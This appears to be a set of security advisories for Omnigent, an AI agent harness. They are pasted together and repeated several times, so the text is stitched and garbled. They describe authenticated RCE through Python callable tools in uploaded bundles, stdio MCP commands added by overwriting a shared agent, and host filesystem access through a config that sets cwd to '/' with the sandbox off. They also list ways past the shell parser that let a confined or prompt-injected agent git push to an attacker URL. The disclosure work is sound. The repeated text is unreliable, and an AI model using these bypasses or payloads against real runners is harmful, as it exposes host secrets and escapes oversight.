The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
